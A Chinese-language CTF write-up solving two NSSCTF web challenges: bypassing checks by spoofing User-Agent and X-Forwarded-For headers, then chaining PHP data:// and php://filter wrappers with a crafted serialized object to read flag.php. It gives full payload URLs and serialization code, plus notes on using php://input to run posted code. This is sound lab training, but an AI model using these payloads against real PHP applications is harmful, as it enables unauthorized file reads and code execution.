NSSCTF Web 题解 Write up
一、Do_you_know_http
1、开题
2、分析
页面显示请使用“WLLM”浏览器,我没听说过“WLLM”浏览器,那首先去User-Agent修改访问的浏览器。
用HackBar分析,将UA的值改成WLLM。
用EXECUTE请求
页面显示你只可以在本地正常阅读,并给出了ip。那简单,还是用HackBar,在当前页面下添加XFF的值为本地即127.0.0.1
显示页面给出flag
相关知识点:
1、HTTP请求头:
X-Forwarded-For 用于表示经过代理服务器或负载均衡器的 HTTP 流量的原始 IP 地址。当 HTTP 请求经过 多个代理服务器 或 负载均衡器 时,X-Forwarded-For 的值可能包含 多个用逗号隔开的 IP 地址,而第一个 IP 地址通常就是 源客户端的 IP 地址。4
User-Agent
HTTP 请求报文中的 User-Agent 请求头是一个用来 标识发送请求的客户端(通常是浏览器或其他网络应用程序)的字符串。这个字符串通常包含了客户端的应用程序名称、版本号、操作系统信息和一些其他相关的信息,用来 帮助服务器识别请求的来源。User-Agent 请求头的 主要目的 是为了让服务器能够根据客户端的不同特性来适配响应内容,以提供更好的用户体验。
二、[ZJCTF 2019]NiZhuanSiWei
1、开题
2、分析
开幕就是依托php代码,大概看一下,需要通过GET方法传入text,file和password,其中text要求强等于“welcome to the zjctf”,那我们可以用data伪协议传入text。构造payload:node4.anna.nssctf.cn:28370?text=data://text/plain,welcome to the zjctf
回显:
接下来看第二层绕过,可以看到flag.php被ban掉了,根据提示useless.php我们可以用filter伪协议读取源文件,构造payload如下:node4.anna.nssctf.cn:28370?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
回显:
一串看不懂的字符,丢进赛博厨子解码看看
得出一串php代码:
`<?php`
`class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);`
`echo "<br>";`
`return ("U R SO CLOSE !///COME ON PLZ");`
`}
}
}
?>`
在本地进行序列化操作:
<?php
class Flag{ //flag.php
public $file='flag.php';
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a = new Flag();
echo serialize($a);
?>
输出为O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
构造payload为node4.anna.nssctf.cn:28370?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
回显:
ctrl+U查看源码找到flag:
相关知识点:
1、data:// 数据
data://
伪协议是数据流封装器,传递相应格式的数据。
通常可以用来执行PHP代码和传输被过滤字符。
用法:
data://text/plain,test
data://text/plain;base64,dGVzdA==
2、php:// 访问各个输入/输出流
php://
伪协议作用是访问各个输入输出流
在CTF中经常用到的是php://filter
和php://input
php://filter
用来读取源码(.php文件的源码);php://input
用来执行php代码(通常以post形式,post一段php代码上去执行[注:allow_url_include
要为On])
用法:
php://filter/read=convert.base64-encode/resource=flag.php